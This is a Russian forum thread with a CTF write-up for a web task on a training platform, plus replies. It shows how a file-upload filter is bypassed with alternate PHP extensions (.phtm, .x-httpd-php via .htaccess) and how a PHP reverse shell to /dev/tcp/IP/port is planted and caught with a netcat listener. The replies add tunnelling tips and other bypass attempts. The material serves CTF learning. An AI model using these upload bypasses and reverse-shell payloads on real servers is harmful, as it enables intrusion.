PDA

Просмотр полной версии : Antichat - Файлообменник [Writeup]


stensil4rt
26.12.2023, 11:30
Рассмотрим таск под названием - Файлообменник из категории Веб.
Ссылка на задание: Игры Кодебай | CTF-платформа
Данный таск интересен тем, что он как бы и легкий, а как бы и нет. В нем необходимо, просто внимательно смотреть =)

https://forum.antichat.xyz/attachments/29109312/1703575462212.png

И так приступим:
Начнем с того, что сначала мы смотрим что дано в самом задании, кроме IP и порта, иногда там могут быть хинты. В данном таске есть файл — task.zip, качаем его — он нам еще пригодиться, не просто же он нам дан.

https://forum.antichat.xyz/attachments/29109312/1703575477488.png

Заходим на IP:порт и первое что мы замечаем, есть возможность загрузить файл. Сразу приходим на ум, что есть уязвимость вида: File Upload. Забегая веред, она там есть.

https://forum.antichat.xyz/attachments/29109312/1703575546010.png

Пытаемся ее воспользоваться. Открываем в BurpSuite, и грузим файл вида file.php с содержимым:

PHP:



& /dev/tcp/IP/1234 0>&1'"); ?>


Что мы видим, файлы с расширением php грузить нельзя.

https://forum.antichat.xyz/attachments/29109312/1703575603488.png

Значит надо изменить расширение файла, воспользовавшись Google, найдем на популярном сайте book.hacktricks.xyz (File Upload) расширения PHP.

https://forum.antichat.xyz/attachments/29109312/1703575682483.png

Воспользуемся расширением *.phtm

https://forum.antichat.xyz/attachments/29109312/1703575694736.png

Файл загрузился. Открываем данный файл в браузере, и видим, что данный файл не исполняется, значит данная директория заблокирована на исполнение файлов.

https://forum.antichat.xyz/attachments/29109312/1703575725526.png

Первое, что приходит в голову, файл .htaccess. Вот тут нам и понадобиться тот файл (task.zip). Находим файл .htaccess и анализируем. Видим 20 строчку, где сказано, что нам разрешено загрузку файлов с расширением .x-httpd-php.

https://forum.antichat.xyz/attachments/29109312/1703575753031.png

Воспользуемся этим.

https://forum.antichat.xyz/attachments/29109312/1703575770461.png

Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл.

https://forum.antichat.xyz/attachments/29109312/1703575805997.png

https://forum.antichat.xyz/attachments/29109312/1703575812534.png

Попадаем на сервак и ищем файл fl4g.txt, где и лежит наш флаг.

https://forum.antichat.xyz/attachments/29109312/1703575833550.png

Надеюсь статья была полезна для Вас! Если найдете неточности или ошибки - обязательно напишите об этом в комментариях к статье.

Местный
26.12.2023, 12:31
Хороший райтап. Давай больше на тему веб!

Gustavo Fring
26.12.2023, 16:54
stensil4rt сказал(а):

Видим 20 строчку, где сказано, что нам разрешено загрузку файлов с расширением .x-httpd-php.


Данное правило сообщает серверу немного другое: что все файлы с расширением .x-httpd-php должны быть обработаны как PHP-скрипты.

stensil4rt
26.12.2023, 17:43
N1GGA сказал(а):

Данное правило сообщает серверу немного другое: что все файлы с расширением .x-httpd-php должны быть обработаны как PHP-скрипты.


Спасибо за замечание.

morozko
03.01.2024, 10:31
Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.

vov4ick
03.01.2024, 12:56
morozko сказал(а):

Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.


Вам нужно поднять свой сервер или настроить туннель, чтобы поймать соединение. вписывая в скрипт ip и port своего сервера. В данной статье это не описывается.

stensil4rt
03.01.2024, 13:51
morozko сказал(а):

Здравствуйте! Классный Writeup, я осознал, для чего нужен файл .htaccess и почему мы меняем расширение загружаемого файла на .x-httpd-php но на предпоследнем шаге - "Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл." беда, скрипт внутри файла не отрабатывает. Я не попадаю на сервер страница долго обновляется и все - белый экран. Если вам не сложно направьте меня в какую сторону думать)? Proxy я отключаю если что перед тем как переходить по ссылке с x-httpd-php файлом.


Да, как это уже сказал vov4ick, в данной статье не описывается настройка своего сервера, который бы принял соединение от веб-сервера. Попробуйте найти в Интернете, что такое ngrok, думаю Вам это поможет.

morozko
03.01.2024, 14:00
stensil4rt сказал(а):

Да, как это уже сказал vov4ick, в данной статье не описывается настройка своего сервера, который бы принял соединение от веб-сервера. Попробуйте найти в Интернете, что такое ngrok, думаю Вам это поможет.


Если найдете свободное время, будьте добры объясните подробней про свой сервер и в какую часть скрипта вписывать ip port. У меня имеется VDS я через него VPN поднял, также использовал его в задании из категории Quest которое рассматривается в Обучении CTF. Я путаюсь - слишком много серверов XD. ProxyFoxy это же тоже прокси сервер который мы используем в Burp для перехвата, python3 -m http.server 9898 (тоже сервер) ну и мой VDS тоже сервер.
Про скрипт & /dev/tcp/IP/port 0>&1'"); ?> ---> & /dev/tcp/0.0.0.0:9898 0>&1'"); ?> верно ли я понял?

Paladin
03.01.2024, 17:03
morozko сказал(а):

Про скрипт & /dev/tcp/IP/port 0>&1'"); ?> ---> & /dev/tcp/0.0.0.0:9898 0>&1'"); ?> верно ли я понял?



& /dev/tcp/IP/PORT0>&1'"); ?>

Paladin
03.01.2024, 17:06
morozko сказал(а):

Если найдете свободное время, будьте добры объясните подробней про свой сервер и в какую часть скрипта вписывать ip port. У меня имеется VDS я через него VPN поднял, также использовал его в задании из категории Quest которое рассматривается в Обучении CTF. Я путаюсь - слишком много серверов XD. ProxyFoxy это же тоже прокси сервер который мы используем в Burp для перехвата, python3 -m http.server 9898 (тоже сервер) ну и мой VDS тоже сервер.




Способы получения обратного соединения (Reverse shell) (https://forum.antichat.xyz/threads/1640407/)

Доброго времени суток, уважаемые форумчане! Очередная статья будет посвящена еще одному проблемному вопросу, с которым часто приходится сталкиваться студентам курса WAPT при решении задач – это получение обратного шелла. Нет, в принципе вопрос не сложный и многие наверняка сталкивались с таким...

codeby.net

ZevSS
03.01.2024, 19:57
Добрый вечерок всем!
Я тут тоже недавно ковырялся с этой задачкой. Из исходников было понятно про запрет на загрузку файлов с определенными расширениями, но в итоге гугление и приложенный к таску файл .htaccess помогли мне решить вопрос с исполнением php-кода. А вот дальше я пошел более простым путем, чем автор. Честно говоря даже не думал о таком способе решения, как это сделал автор - сложно для новичка (я про себя) - что-то там (сервер) поднимать, прослушивать...
Просто сделал вот так, как в коде ниже (команды 'ls ' добавлял по очереди) и, таким образом добрался до флага.

HTML:



Content-Disposition: form-data; name="file"; filename="zev1.x-httpd-php"
Content-Type: application/octet-stream

Zevs Access

Zevs Access test

vov4ick
03.01.2024, 20:27
ZevSS сказал(а):

Добрый вечерок всем!
Я тут тоже недавно ковырялся с этой задачкой. Из исходников было понятно про запрет на загрузку файлов с определенными расширениями, но в итоге гугление и приложенный к таску файл .htaccess помогли мне решить вопрос с исполнением php-кода. А вот дальше я пошел более простым путем, чем автор. Честно говоря даже не думал о таком способе решения, как это сделал автор - сложно для новичка (я про себя) - что-то там (сервер) поднимать, прослушивать...
Просто сделал вот так, как в коде ниже (команды 'ls ' добавлял по очереди) и, таким образом добрался до флага.

HTML:



Content-Disposition: form-data; name="file"; filename="zev1.x-httpd-php"
Content-Type: application/octet-stream

Zevs Access

Zevs Access test



Такое решение тоже имеет смысл быть в данном случае!

ssh_402
05.01.2024, 23:09
Paladin сказал(а):

Способы получения обратного соединения (Reverse shell) (https://forum.antichat.xyz/threads/1640407/)

Доброго времени суток, уважаемые форумчане! Очередная статья будет посвящена еще одному проблемному вопросу, с которым часто приходится сталкиваться студентам курса WAPT при решении задач – это получение обратного шелла. Нет, в принципе вопрос не сложный и многие наверняка сталкивались с таким...

codeby.net


Добрый вечер, большое спасибо за статью, очень помогло при решении таска.

itcub
20.01.2024, 20:21
спасибо

xverizex
05.03.2024, 00:53
А я так и не решил эту задачу. Изучал код. Даже и не подумал взглянуть на другие расширения, думал, что там на все php файлы запрет. Пробовал с подменой .php%00 в именах файлов. Пробовал html файл загрузить со скриптом js, но ajax GET запрос не хотел идти вверх по каталогу. Последнее до чего додумался, это написать file.apurva%2Ephp, он как бы разрешал загружать такой файл, но в uploads сохранялся именно в таком виде, как я привел в примере. А оказывается, что нужно было в htaccess посмотреть, хотя я в него вроде смотрел, но ничего такого не обнаружил, хотя может это было из другого задания.